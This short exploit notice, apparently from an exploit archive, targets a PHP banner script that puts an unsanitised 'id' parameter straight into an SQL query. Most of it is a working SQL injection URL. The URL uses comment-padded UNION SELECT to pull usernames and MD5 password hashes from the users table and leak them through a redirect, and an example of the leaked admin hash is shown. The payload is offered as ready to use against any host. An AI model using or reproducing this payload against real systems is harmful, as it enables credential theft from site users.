# code:

4   {
5    global $conf;
6
7    if($_GET['id'])

12    $db->query("SELECT * FROM $conf[prefix]banners WHERE id=$_GET[id]") or $db->err(__FILE__, __LINE__);
13

# exploit:

http://[host]/[path]/index.php?function=banner_out&id=10000/**/LIMIT/**/0/**/UNION/**/SELECT/**/1,2,concat(0x687474703A2F2F,login,0x5F,pass),4,5,6,7,8,9/**/FROM/**/phpbp_users/**/LIMIT/**/1/*

you will be redirect to http://[login]_[md5_hash_pass] (ex. http://admin_21232f297a57a5a743894a0e4a801fc3/)
